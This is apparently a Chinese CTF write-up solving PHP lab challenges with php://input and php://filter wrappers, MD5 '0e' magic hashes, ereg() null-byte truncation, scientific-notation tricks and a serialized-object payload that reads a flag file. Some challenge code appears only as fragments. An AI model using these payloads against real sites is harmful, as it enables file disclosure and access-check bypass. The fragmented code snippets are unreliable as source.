phpwriteup

1.伪协议入门
伪协议入门

考点php://input
payload:http://192.168.1.88/AUDIT01/?a=1&b=php://input
post:1

2.3弱类型
 

介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5('240610708') == md5('QNKCDZO')成功绕过!
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

4.变量覆盖
';
highlight_file(__FILE__);
?>

php伪协议
看到file_get_contents($file)就知道需要打开一个文件,伪协议
payload:http://192.168.1.88/PHP05/?shiyan=1&file=php://input
post:1

5.函数漏洞
You password must be alphanumeric

'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'); } } else { echo '

Invalid password

'; } } highlight_file(__FILE__); ?>

GET方式提交password,然后用ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母,继续strlen()限制了长度小于8并且大小必须大于9999999,继续strpos()对password进行匹配,必须含有-,最终才输出flag
因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。对于另一个难题可以使用科学计数法表示,计算器或电脑表达10的的幂是一般是e,也就是1.99714e13=19971400000000,所以构造1e8即100000000 > 9999999,在加上-。于是乎构造password=1e8%00-,成功得到答案

6.ereg函数有漏洞



猜密码


ereg函数正则匹配数字,且要含'#tag'
ereg可用%00截断绕过正则,直接构造payload: 1%00#tag

7.延时
 60 * 60 * 24 * 30 * 3){ 
        echo 'This time is too long.'; 
    }else{ 
        sleep((int)$_GET['time']); 
        echo $flag; 
    } 
    echo '
'; } highlight_file(__FILE__); ?>

需要输入一个数字大于5184000且小于7776000,同时这个数字会成为sleep的时间,采用科学计数法来绕过sleep
payload:http://192.168.1.88/PHP04/index.php?time=5.2e6

8.综合题

主要考php伪协议和php反序列化
http://192.168.1.88/PHP02/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
post : i am admin
这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();
但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件
最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
借鉴帖子

你可能感兴趣的:(phpwriteup)